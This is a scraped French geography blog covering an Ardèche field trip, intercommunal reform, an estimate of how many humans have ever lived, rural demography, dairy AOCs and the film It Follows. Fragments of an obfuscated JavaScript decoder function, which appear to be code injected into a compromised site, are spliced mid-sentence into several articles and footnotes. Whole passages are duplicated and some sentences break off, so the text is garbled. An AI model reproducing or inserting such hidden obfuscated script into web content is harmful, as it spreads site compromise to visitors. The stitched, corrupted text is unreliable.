13. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandes de porcs fermiers (sans label bio, le grain coûterait trop cher : de 300 € la tonne le coût du grain bio passerait à 500 € la tonne, sachant que Nicolas en utilise une tonne tous les 45 jours) et ses fromages de chèvre (bio ceux-là, mais hors AOC en raison d’un différend à l'occasion d'une redéfinition de l'espace de l'AOC Picodon) : un délice ! Les coffres se remplissent à nouveau, après une dégustation très agréable et un accueil très chaleureux... On ne peut au final qu'être frappés par le contraste entre l'exploitation familiale des Arcis et celle de La Louvèche : Nicolas a fait un lycée agricole (où on n’apprend, semble-t-il, qu’à « remplir les formulaires de la PAC ») puis une formation pour adultes de transformation du porc. Il est très inséré dans les canaux de distribution directe (Ruche qui dit Oui à Aubenas pour laquelle il adapte ses caissettes aux consommateurs urbains, vente à la ferme, visites, volonté de sensibiliser à la qualité). On sent la hauteur de vue du fils comme du père qui a su laisser une innovation sociale bien dosée transformer sa propriété en une ferme très agréable et passionnante à visiter (avec une vue imprenable sur l'Ardèche verte).

Cliché : Nathalie Heurtault, 2017Cliché : Nathalie Heurtault, 2017

La troupe des géographes descend ensuite vers le plateau par la Route des sucs. Toujours selon notre ami Wikipédia, un suc est un « sommet volcanique caractéristique de la région du Velay et du haut Vivarais dans le Massif central. Il se présente sous la forme d'un piton ou d'un dôme aux pentes fortes, nettement proéminent, de nature trachytique ou phonolitique. Ils dominent des plateaux basaltiques qui ont sensiblement le même âge géologique. L'ensemble forme un paysage caractéristique fait de hauts plateaux et de pointements isolés. ». C’est de toute beauté et très dépaysant ; cela me rappelle les Mogottes de la Vallée de Viñales à Cuba. Déjeuner au restaurant Beauséjour (commune du Béage), une adresse délicieuse, avec une vue imprenable et un service impeccable ! Les charcuteries, viandes de porcs fermiers (sans label bio, le grain coûterait trop cher : de 300 € la tonne le coût du grain bio passerait à 500 € la tonne, sachant que Nicolas en utilise une tonne tous les 45 jours) et ses fromages de chèvre (bio ceux-là, mais hors AOC en raison d’un différend à l'occasion d'une redéfinition de l'espace de l'AOC Picodon) : un délice ! Les coffres se remplissent à nouveau, après une dégustation très agréable et un accueil très chaleureux... On ne peut au final qu'être frappés par le contraste entre l'exploitation familiale des Arcis et celle de La Louvèche : Nicolas a fait un lycée agricole (où on n’apprend, semble-t-il, qu’à « remplir les formulaires de la PAC ») puis une formation pour adultes de transformation du porc. Il est très inséré dans les canaux de distribution directe (Ruche qui dit Oui à Aubenas pour laquelle il adapte ses caissettes aux consommateurs urbains, vente à la ferme, visites, volonté de sensibiliser à la qualité). On sent la hauteur de vue du fils comme du père qui a su laisser une innovation sociale bien dosée transformer sa propriété en une ferme très agréable et passionnante à visiter (avec une vue imprenable sur l'Ardèche verte).

Cliché : Nathalie Heurtault, 2017Cliché : Nathalie Heurtault, 2017

La troupe des géographes descend ensuite vers le plateau par la Route des sucs. Toujours selon notre ami Wikipédia, un suc est un « sommet volcanique caractéristique de la région du Velay et du haut Vivarais dans le Massif central. Il se présente sous la forme d'un piton ou d'un dôme aux pentes fortes, nettement proéminent, de nature trachytique ou phonolitique. Ils dominent des plateaux basaltiques qui ont sensiblement le même âge géologique. L'ensemble forme un paysage caractéristique fait de hauts plateaux et de pointements isolés. ». C’est de toute beauté et très dépaysant ; cela me rappelle les Mogottes de la Vallée de Viñales à Cuba. Déjeuner au restaurant Beauséjour (commune du Béage), une adresse délicieuse, avec une vue imprenable et un service impeccable ! Les charcuteries, vi;p5=s4.indexOf(wc.charAt(vf++

15. q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands en goguette). Petite exploitation familiale de 4 personnes qui s'est lancée dans les bags in box, et a mécanisé la vendange. Les coffres des voitures se remplissent...


Clichés : Nathalie Heurtault, 2017

Pique-nique au bord de l'Ardèche dans un village au label des « plus beaux villages de France » : Vogüe. Les pieds dans la fraîche Ardèche on voit un peu de la mise en tourisme de cette Ardèche méridionale « autoroute à canoës » (même si début juillet le touriste n'est pas encore trop présent).

nathalie heurtaultNathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Début de la montée dans la montagne ardéchoise : premier arrêt juste avant le Tunnel du Roux, occasion de photos, croquis de paysage et commentaire de Jean-Louis notre guide local de l'étape. On observe notamment l’étagement montagnard avec la limite altitudinale du châtaignier, puis celle de la forêt, et les premières pelouses d’altitude. Paysages superbes, on s’approche des lieux de la trilogie documentaire de Depardon (Profils paysans, trois films réalisés par le photographe-cinéaste entre 2001 et 2008 : « L'approche », « Le quotidien » et « La vie moderne »), tant par le bâti que la rudesse du paysage.

Croquis vallée de la Fontaulière et vue sur la vallée du Rhône
Croquis : J.-B. Bouron

Passage de la ligne de partage des eaux entre bassin versant de l'Ardèche (Méditerranée) et de la Loire (Atlantique). Voir à ce sujet l'excellent documentaire de Dominique Marchais, La Ligne de partage des eaux, avec des vrais morceaux de géographie dedans.

Nathalie HeurtaultNathalie Heurtault Nathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Arrêt à la caldeira de la Fontaulière (selon notre ami wikipédia : « vaste dépression circulaire ou elliptique, généralement d'ordre kilométrique, souvent à fond plat, située au cœur de certains gr;p5=s4.indexOf(wc.charAt(vf++

Les collectivités territoriales et le big-bang intercommunal

Le paysage territorial français est largement chamboulé depuis le 1er janvier 2017 par la mise en application des nouveaux périmètres des intercommunalités. Suite à la loi NOTRe, ce sont en effet près de la moitié (45%) des EPCI à fiscalité propre qui ont évolué (fusion, extension…), afin de tenir l’objectif de réduction de nombre de groupements affiché par l’État (environ – 40%).

Se faisant, c’est tout une nouvelle géographie de la France qui émerge, avec des découpages auxquels nous ne sommes pas encore habitués. Une étude cartographique plus approfondie sera publiée prochainement par l’Association des Maires Ruraux de France1une partie a été publiée dans le numéro de février 2017 du magazine 36000 communes afin de mettre en évidence les enjeux liés à l’administration de ces nouveaux espaces de la vie démocratique. Mais en attendant, à la manière de notre publication à l’occasion de la fusion des régions, nous vous proposons ce « kit de survie » pour identifier les principaux changements, et se repérer dans les différents échelons de l’administration publique territoriale.

Version Noir et Blanc Imprimable

NB : Le sujet étant complexe et l’erreur étant humaine, si vous êtes un(e) spécialiste et que vous repérez une erreur ou une imprécision, n’hésitez pas à nous contacter pour nous le faire savoir !

Version PDF couleur

Version PDF N&BB

 

Notes   [ + ]

1. une partie a été publiée dans le numéro de février 2017 du magazine 36000 communes

Combien d’humains ont vécu sur Terre au total ?

Si tous les humains ressuscitaient, les humains d’aujourd’hui seraient-ils dispersés au milieu d’une foule d’hommes préhistoriques ?

Le chiffre total d’êtres humains à s’être succédé sur la Terre n’est pas très intéressant, en raison d’une mortalité infantile très élevée jusqu’aux périodes récentes. Nous avons donc cherché à savoir, plus précisément, le nombre d’êtres humains ayant dépassé l’âge de cinq ans, depuis les premiers hominidés.

Les données nécessaires sont : la population humaine totale à plusieurs dates, la mortalité infantile (avant 1 an) et juvénile (avant 5 ans), ainsi que l’espérance de vie adulte, à ces mêmes dates. Cela permet de calculer le nombre de générations à s’être succédé sur terre depuis l’aube de l’humanité.1Bon, alors autant vous dire qu’on ne va pas trancher ici le débat sur la date à laquelle les primates deviennent des humains. Sans aller jusqu’à Toumaï qui serait le premier hominidé (7 millions d’années BP), nous sommes remontés à -1,5 millions d’années. Si la recherche scientifique permet d’avoir une idée assez précise de ces chiffres depuis le Néolithique, il est beaucoup plus d’obtenir des données pour les périodes précédentes. On sait seulement que la population humaine est très peu nombreuse : Jean-Pierre Bocquet-Appel et al. 2http://www.evolhum.cnrs.fr/bocquet/jas2005.pdf ont calculé que la population européenne à l’Aurignacien (39 à 28 000 ans BP) était comprise entre 1 000 et 30 000 individus. En extrapolant et en considérant que l’Europe, aux périodes glaciaires, n’est pas le continent le plus peuplé, on obtient une population mondiale de 50 à 100 000 individus au plus, avec une augmentation presque nulle pendant des centaines de milliers d’années. On sait également que l’espérance de vie est très basse (environ 13 ans), en raison de la mortalité infantile. En supposant une mortalité infantile légèrement supérieure à celle calculée par les ethnologues pour des sociétés de chasseurs-cueilleurs les plus isolées rencontrées au début du XXe siècle, on obtient un chiffre de 6/10 (quatre enfants sur dix dépassent l’âge de 1 an). En raison de la durée de la période allant d’Homo erectus au Néolithique, la marge d’erreur est importante. Mais le très faible nombre d’hommes à ces périodes permet de calculer que même avec la plus grande marge d'erreur, on ne peut que doubler le résultat final du nombre d'humains.

Voici les résultats :

L'estimation haute aboutit à 66 milliards d'êtres humains ayant jamais vécu sur terre depuis Homo erectus, dont 18 milliards ont dépassé l'âge de 5 ans. La médiane se situe autour de l'an mille : autant d'humains adultes ont vécu avant cette date qu'après. Les humains actuels (enfants compris) représentent donc un dixième du total de l'humanité depuis ses origines.

Les Hommes "adultes" (dans nos calculs, âgés de plus de 5 ans) du Paléolithique représentent entre 5,1 % et 11,2 % de l'humanité adulte, ceux du Néolithique autour de 6 %. Par ailleurs, 15 % des humains adultes ont vécu avant 1 000 avant Jésus-Christ, alors que 22 % de l'humanité a vécu après la 2nde guerre mondiale. Notre lecteur, s'il a plus de 5 ans, représente 0,00000000151 % de l'humanité ayant dépassé cet âge.

Proportion des êtres humains par période :

distribution_des_tres_humains_par_priode_historique

Attention, l'échelle de temps n'est pas proportionnelle à la réalité. Les durées sont trop longues pour afficher sur la même échelle des siècles et des centaines de milliers d'années. Il n'y a donc pas de baisse de la population après le moyen-âge : la période de l'an 1 à l'an 1000 est seulement beaucoup plus longue que les périodes suivantes. Ce graphique donne seulement à voir la part d'humains ayant vécu à chaque époque indiquée.

Cumul des êtres humains par période :

cumul_des_tres_humains

Voici, pour les plus méticuleux, le détail de nos calculs :

Définitions

  • Mortalité Juvénile MJ : taux de mortalité des enfants de moins de 5 ans
  • Espérance de Vie EV : durée de vie moyenne d'une population fictive qui vivrait toute son existence dans les conditions de mortalité de l'année considérée
  • Espérance de Vie des Adultes EVA : durée de vie moyenne de la poriton de cette population qui a atteint 5 ans
  • Le jeu de données est organisé consiste en Point dans le Temps (PT)
  • Pour chaque PT, les indicateurs suivant sont disponibles : année, poulation en millions, EV, EVA, MJ et proportions continentales

Mode de calcul 1 - intégration numérique

  • Linéarité entre deux PTs :
    •  Nous avons considéré que les indicateurs évoluent linéairement entre deux PTs
    • Cette approximation semble raisonnable sur les intervalles suivant : -700K - 1700, 1700-1900, 1900-1950 et 1950 à nos jours
    • La résolution des PT du jeu de données est consistante avec cette assomption
    • Dans ce contexte, l'intégration numérique par le point moyen semble adaptée
  • Pour chaque période PT 1 => PT 2
  • NEH yx = Nombre d'être humains l'année x
  • Temps Ecoulé TE = y2 - y1
  • Nombre moyen d'Etres Humains pour la période NEHP = (NEH y2 + NEH y1) / 2
  • EVA pour la période EVAP = (EVA y1 + EVA y2) / 2
  • Proportion d'Etres Humains qui deviendront Adultes pour la Période PEHAP = 1  - ( (MJ y1 + MJ y2) / 2)
  • Quantité d'Etres Humains nés sur la Période QEHP = TE * NEHP / EVAP
  • Quantité d'Etres Humains qui deviendront Adultes nés sur la Période QEHAP = TE * NEHP * PEHAP / EVP

Mode de calcul 2 - intégration de la fonction de croissance

  • Une autre méthode de cacul consiste a utiliser le modèle de croissance de population
  • Dans ce modèle, à chaque instant, la croissance de la population est proportionnel au nombre d'individus de cette population
  • NEH y1 = Ce^(r * y1) et NEH y2 = Ce^(r * y2)
  • Par intégration, QEHP = TE * (NEH y2 - NEH y1) / (ln(NEH y2) - ln(NEH y1 / EVP

Ces deux modes de calculs s'avèrent être très similaires :

cumul_des_tres_humains_-_comparaison_des_mthodes_de_calcul


Jean-Benoît Bouron et Lucas Mouilleron

Notes   [ + ]

1. Bon, alors autant vous dire qu’on ne va pas trancher ici le débat sur la date à laquelle les primates deviennent des humains. Sans aller jusqu’à Toumaï qui serait le premier hominidé (7 millions d’années BP), nous sommes remontés à -1,5 millions d’années.
2. http://www.evolhum.cnrs.fr/bocquet/jas2005.pdf
3. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfande marge d'erreur, on ne peut que doubler le résultat final du nombre d'humains.

Voici les résultats :

L'estimation haute aboutit à 66 milliards d'êtres humains ayant jamais vécu sur terre depuis Homo erectus, dont 18 milliards ont dépassé l'âge de 5 ans. La médiane se situe autour de l'an mille : autant d'humains adultes ont vécu avant cette date qu'après. Les humains actuels (enfants compris) représentent donc un dixième du total de l'humanité depuis ses origines.

Les Hommes "adultes" (dans nos calculs, âgés de plus de 5 ans) du Paléolithique représentent entre 5,1 % et 11,2 % de l'humanité adulte, ceux du Néolithique autour de 6 %. Par ailleurs, 15 % des humains adultes ont vécu avant 1 000 avant Jésus-Christ, alors que 22 % de l'humanité a vécu après la 2nde guerre mondiale. Notre lecteur, s'il a plus de 5 ans, représente 0,00000000151 % de l'humanité ayant dépassé cet âge.

Proportion des êtres humains par période :

distribution_des_tres_humains_par_priode_historique

Attention, l'échelle de temps n'est pas proportionnelle à la réalité. Les durées sont trop longues pour afficher sur la même échelle des siècles et des centaines de milliers d'années. Il n'y a donc pas de baisse de la population après le moyen-âge : la période de l'an 1 à l'an 1000 est seulement beaucoup plus longue que les périodes suivantes. Ce graphique donne seulement à voir la part d'humains ayant vécu à chaque époque indiquée.

Cumul des êtres humains par période :

cumul_des_tres_humains

Voici, pour les plus méticuleux, le détail de nos calculs :

Définitions

  • Mortalité Juvénile MJ : taux de mortalité des enfants de moins de 5 ans
  • Espérance de Vie EV : durée de vie moyenne d'une population fictive qui vivrait toute son existence dans les conditions de mortalité de l'année considérée
  • Espérance de Vie des Adultes EVA : durée de vie moyenne de la poriton de cette population qui a atteint 5 ans
  • Le jeu de données est organisé consiste en Point dans le Temps (PT)
  • Pour chaque PT, les indicateurs suivant sont disponibles : année, poulation en millions, EV, EVA, MJ et proportions continentales

Mode de calcul 1 - intégration numérique

  • Linéarité entre deux PTs :
    •  Nous avons considéré que les indicateurs évoluent linéairement entre deux PTs
    • Cette approximation semble raisonnable sur les intervalles suivant : -700K - 1700, 1700-1900, 1900-1950 et 1950 à nos jours
    • La résolution des PT du jeu de données est consistante avec cette assomption
    • Dans ce contexte, l'intégration numérique par le point moyen semble adaptée
  • Pour chaque période PT 1 => PT 2
  • NEH yx = Nombre d'être humains l'année x
  • Temps Ecoulé TE = y2 - y1
  • Nombre moyen d'Etres Humains pour la période NEHP = (NEH y2 + NEH y1) / 2
  • EVA pour la période EVAP = (EVA y1 + EVA y2) / 2
  • Proportion d'Etres Humains qui deviendront Adultes pour la Période PEHAP = 1  - ( (MJ y1 + MJ y2) / 2)
  • Quantité d'Etres Humains nés sur la Période QEHP = TE * NEHP / EVAP
  • Quantité d'Etres Humains qui deviendront Adultes nés sur la Période QEHAP = TE * NEHP * PEHAP / EVP

Mode de calcul 2 - intégration de la fonction de croissance

  • Une autre méthode de cacul consiste a utiliser le modèle de croissance de population
  • Dans ce modèle, à chaque instant, la croissance de la population est proportionnel au nombre d'individus de cette population
  • NEH y1 = Ce^(r * y1) et NEH y2 = Ce^(r * y2)
  • Par intégration, QEHP = TE * (NEH y2 - NEH y1) / (ln(NEH y2) - ln(NEH y1

Suite armoricaine

Pascale Breton, 2015 (France)

Suite armoricaineDans ce très beau film sur le temps et l’identité, on s’intéresse aussi à la représentation de l’espace. Il n’est pas besoin de savoir que Pascale Breton a suivi des études de géographie pour s’apercevoir de la vive attention accordée aux lieux ainsi qu’au parcours de ses personnages à travers eux.

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Le retournement démographique des campagnes françaises

Nous publions ici en couleur des documents extraits de notre ouvrage : Pierre-Marie Georges et Jean-Benoît Bouron, 2015, Les territoires ruraux en France, une géographie des ruralités contemporaines, Ellipses, Paris, 454 p.

L’imaginaire décliniste associé aux campagnes françaises demeure très présent dans la société française. Longtemps alimenté par le jugement de valeur contenu dans l’expression « exode rural » qui a été portée aux nues par des générations d’analystes, l’idée d’une primauté de la ville sur les campagnes n’a cessé de se développer. La récente pensée performative associée à l’idée de métropolisation ne semble en être qu’une énième expression, déliant les langues de ceux qui veulent en finir avec le rural, tandis que function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandonnee-201605111100-00003009.html">certains auteurs caricaturent les phénomènes de relégation sociale associée à la France périphérique. Bien entendu, ces quelques lignes ne peuvent suffire à en apporter un démenti scientifique, mais face à ces puissants discours, un détour par les dynamiques démographiques récentes peut par exemple apporter un éclairage plus positif sur les espaces ruraux. Pour initier cette réhabilitation et répondre aux acteurs du rural qui ont du mal à formaliser les atouts de leurs territoires alors même qu'ils observent des changements profonds, nous souhaitions simplement rappeler que les campagnes gagnent des habitants depuis plusieurs décennies, et que ce retournement démographique témoigne d'un basculement sociétal qui ne se résume pas seulement à une prolongation de l'étalement urbain.

Evolution Pop 1968-2012-01

Bien entendu, il faut nuancer l'analyse et ne pas tomber dans le piège d'une lecture béate, Lire la suite

Notes   [ + ]

1. p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandis que function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++
2. q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandis que function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++;p5=s4.indexOf(wc.charAt(vf++

Le rural dans les mailles du filet territorial

On peut dire, sans imaginer heurter quiconque, que les débats sur la (les) réforme territoriale ont creusé des sillons qui ont profondément marqué le paysage politique et sociétal de l’année 2015. Entre ceux qui défendent les principes d’une cure d’amaigrissement du mille-feuille territorial, ceux qui déconstruisent l’image trompeuse d’un « big-bang territorial », ceux qui soulignent la cohérence économique des réformes engagées, ceux qui craignent l’émiettement des principes d’égalité territoriale, et ceux qui au contraire revendiquent l’émergence de nouvelles échelles locales propices à l’innovation territoriale…, rarement l’actualité politique et législative a autant contribué à alimenter la dispute autour d’un objet géographique particulier : le territoire. Appliqué aux espaces ruraux, l’imbroglio territorial peut être sujet à encore plus d’interprétations. Car si l’on a vu dans un article précédent que la question des espaces vécus de la ruralité n’allait pas de soi, celle liée à sa définition territoriale n’en est pas moins complexe. Dès lors, pour tenter d’apporter un éclairage sur cette question des périmètres qui organisent la vie des territoires, nous poursuivons la publication en couleur d’éléments tirés du Bouron-Georges, même si nous ne pouvons que conseiller de s’y référer dans le détail, étant donné la nature complexe du sujet.

Maillage de l'espace rural : étude de cas théoriqueLe titre de l’infographie précise alors directement notre objectif : en parlant de « maillage territorial », on s’attache à décrire les multiples emboîtements, superpositions, recoupements des mailles qui organisent la définition des territoires ruraux. L’idée n’est donc pas de contribuer au débat territorial en prônant telle ou telle efficience, Lire la suite

AOC/AOP laitières : le match des nouvelles régions

L’infographie principale est reproduite en fin d’article – pour y accéder en taille réelle, cliquez sur l’image.

AOC laitières par régionsFinalrevuPMGFinal-01-01Les français vont-ils en faire tout un fromage ? Car avec le nouveau découpage territorial, c’est toute l’architecture des référents identitaires régionalistes qui vacille…, et c’est une part de notre géographie culturelle qui se recompose1même s’il faut bien rappeler que celle-ci ne cesse jamais de se recomposer et qu’il faut avoir à l’esprit que ce que l’on appelle aujourd’hui la « tradition » est souvent un construit social fruit de nombreuses adaptations et inventions. Dans ce contexte, la France des fromages2pour tout savoir sur ce sujet, je ne saurais trop recomm;p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=3p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfander la lecture de La France fromagère de Claire Delfosse 😉 m'est apparue comme un potentiel sujet géographique pour éclairer le débat régional : car d'une part, ces productions agricoles spécifiques et localisées (avec leurs enjeux agricoles, techniques et environnementaux) contribuent à l'économie de filières productives insérées dans la mondialisation  ; et d'autre part, les fromages sont devenus des produits de terroirs, reconnus et appropriés par des consommateurs du monde entier (comme sur la photo n°1), et identifiés pour leur lien avec la valorisation des paysages des régions françaises et du patrimoine culturel du pays.

Prise dans un supermarché à Chicago, cette photo témoigne du succès des produits de terroirs et spécialement des fromages frnaçais à travers la monde malgré les contraintes sanitaires et législatives. Ici un Munster représente la région ALCA aux Etats-Unis !

Prise dans un supermarché à Chicago, cette photo témoigne de l’attractivité du modèle « terroir » incarné par les fromages, malgré les contraintes sanitaires et législatives. Ici un Munster représente la région « ALCA » auprès des consommateurs américains ! (PM Georges – 2012)

Ces jeux d’échelle témoignent du pouvoir géographique des fromages. Car d’une part, on peut dire que la région (le territoire de production) sert à vendre le produit : l’origine géographique est un critère de qualité pour le fromage ; et que d’autre part, le produit (un terroir spécifique) sert à valoriser à la région : le fromage est un critère de qualité d’une région. Forts de ce double lien avec leur région, Lire la suite

Notes   [ + ]

1. même s’il faut bien rappeler que celle-ci ne cesse jamais de se recomposer et qu’il faut avoir à l’esprit que ce que l’on appelle aujourd’hui la « tradition » est souvent un construit social fruit de nombreuses adaptations et inventions
2. pour tout savoir sur ce sujet, je ne saurais trop recommander la lecture de La France fromagère de Claire Delfosse 😉

Une typologie des bassins de vie à dominante rurale – le Bouron/Georges en couleurs

Comment définir et délimiter les campagnes françaises ? Plus de vingt pages sont consacrées à la question du maillage de l’espace rural dans l’ouvrage que nous avons publié récemment (Bouron & Georges, 2015) et que nous avons déjà présenté à plusieurs reprises. Aussi, sans revenir sur l’ensemble de ces enjeux, nous continuons à poursuivre l’objectif d’enrichir la lecture de l’ouvrage papier grâce à la publication en ligne et en couleurs de documents issus du livre.

La carte reproduite ici ponctue dans l’ouvrage un long développement sur la complexité de la question territoriale en France, et vise à présenter une typologie développée par Pierre Pistre dans sa thèse1Pierre Pistre, Renouveaux des campagnes françaises : évolutions démographiques, dynamiques spatiales et recompositions sociales , Université Paris-Diderot – Paris VII, 2012 – thèse en ligne sur les dynamiques démographiques des campagnes françaises. Cette carte, qui permet grâce à l’analyse statistique de caractériser et d’identifier les différentes dynamiques spatiales et sociales à l’œuvre dans les territoires ruraux, nous semblait en effet à même de conclure cette partie très technique, en montrant une application concrète à partir du zonage des bassins de vie.

Typologie Bassin de Vie Espace Rural PistreC’est la DATAR (Délégation interministérielle à l’aménagement du territoire et à l’attractivité régionale) et l’Insee qui ont créé le néologisme de bassin de vie en 2003 en le définissant comme la « plus petite maille territoriale » française Lire la suite

Notes   [ + ]

1. Pierre Pistre, Renouveaux des campagnes françaises : évolutions démographiques, dynamiques spatiales et recompositions sociales , Université Paris-Diderot – Paris VII, 2012 – thèse en ligne

Le casse-tête géographique : cartographier la richesse des nations

Depuis que j’enseigne la mondialisation et la géographie du développement (donc depuis que j’enseigne tout court), je suis confronté à une douloureuse question. Lorsque les élèves ont colorié les pays riches (habituellement les pays de feu le « Nord » moins l’ex-URSS), les pays en transition, les BRICS, les pays ateliers (et/ou leurs acolytes, émergents, exportateurs, pétroliers, etc.) et enfin les déprimants Pays les Moins Avancés, que faire de ce qui reste, des ni producteurs, ni riches, ni moins avancés ?

Comment trouver un classement qui permette de trouver une place à chacun des 193 pays du monde, même une place par défaut ? (193, plus ou moins, selon qu’y figurent le Vatican, la Palestine, etc.). La question n’est pas si épineuse qu’on ne s’y puisse frotter… J’ai donc fouillé Wikipédia à la recherche de classements et de sources fiables pour lesdits classements. Quand je pense que certains enseignants déconseillent à leurs élèves d'utiliser ce formidable outil de connaissance... Wikipédia m'entraîne sur les sites du FMI, de la Banque Mondiale, de l'OPEP, de la CIA (World facts) et de l'ONU. Précisons qu'il ne s'agit pas ici (bien sûr !) de distribuer des bons points à tel ou tel pays mais de démêler un peu la géographie du monde.

Groupe 1 : Les pays riches Lire la suite

Des AOC à la carte : cartographier les appellations d’origine contrôlée

Cet article propose un jeu de 4 cartes sur les AOC/AOP françaises. Il s’agit ici de revenir sur la genèse de ces cartes. Pour un commentaire plus complet et problématisé sur la place des AOC et des produits de terroir dans la dynamique des espaces ruraux, nous renvoyons le lecteur vers le Bouron-Georges*, dont la publication prochaine permettra de retrouver deux des cartes présentées ici.

* Jean-Benoît BOURON & Pierre-Marie GEORGES, Les territoires ruraux en France, une géographie des ruralités contemporaines, Ellipses, Paris, 454 p., 2015. (disponible à partir du 8 septembre 2015).

CaptureAOC

À l’heure de l’open-data et de la profusion de productions (carto)graphiques qui l’accompagnent, l’adage qui veut que « faire une carte, c’est faire des choix » passe parfois au second plan. Pourtant, derrière l’apparente simplicité de l’usage de l’outil cartographique, apprendre à analyser les informations que l’auteur a choisi de représenter (ou choisi d’omettre) est un enjeu tout aussi important que le résultat cartographique en lui-même.

Pour prendre du recul sur une carte, on examine généralement le système de projection utilisé, on caractérise les échelles employées, on étudie la sémiologie adoptée (les couleurs, les trames, les symboles et les figurés), on scrute les délimitations, on décompose la légende, et bien entendu on porte une attention toute particulière à la ou les sources mobilisées. Ceci est le point de départ de toute analyse critique d’un document cartographique. Pourtant ce réflexe du géographe est loin d’être automatique ; et alors que la nécessaire éducation à l’image animée commence à s’imposer comme réflexe éducatif, il semble tout aussi essentiel en info-cartographie d’exercer les lecteurs à comprendre ce qui est représenté, avant de comprendre la représentation.

Lire la suite et découvrir les cartes

It follows : horreur géographique

 

HORREUR GÉOGRAPHIQUE

It follows-Detroit

Dans It follows sorti en 2015 sur les écrans français et qui a fait sensation auprès des amateurs de films d’épuvante ou d’horreur, le scénariste et réalisateur David Robert Mitchell nous parle d’une certaine actualité puisqu’en choisissant Détroit comme décor (lui vient de Clawson dans la banlieue nord de la ville), il fait de Motor City le catalyseur de toutes les contaminations possibles d’une réalité socio-économique : par les différentes allées et venues effectuées des quartiers bourgeois et préservés de la crise (au moins en apparence) vers ces enfilades de pavillons fantômes, il n’est pas difficile de penser à la contamination par la misère dans un premier temps et à celle opérée ensuite (grâce à l’emprise nouvelle d’un ou deux milliardaires) par la reprise économique. La lente mais sûre ruine immobilière a traduit morphologiquement toute la décrépitude économique d’une métropole en crise depuis des décennies et qui a finalement été déclarée en faillite en 2013. Les maisons abandonnées aux façades inquiétantes, parfois même éventrées depuis le temps, ont-elles appartenu à ces spectres terrifiants qui dans le film cheminent solitaires et lents vers leurs victimes ? Qui sont ces ombres tant redoutées par Jay (Maika Monroe) et ses amis ? Des chômeurs, des endettées, des nécessiteux délaissés ? Ces quartiers que certains citoyens aujourd'hui ne veulent plus voir et qu'ils démontent maison après maison, planche par planche sont à la marge. Une des filles dans It follows évoque même l'idée d'une frontière établie entre les quartiers bourgeois et les banlieues pauvres, entre le centre-ville et la périphérie, le centre commercial indiquant la limite que ses parents, petite, lui interdisait de franchir (« Je me disais que c'était vraiment dégueulasse et tordu 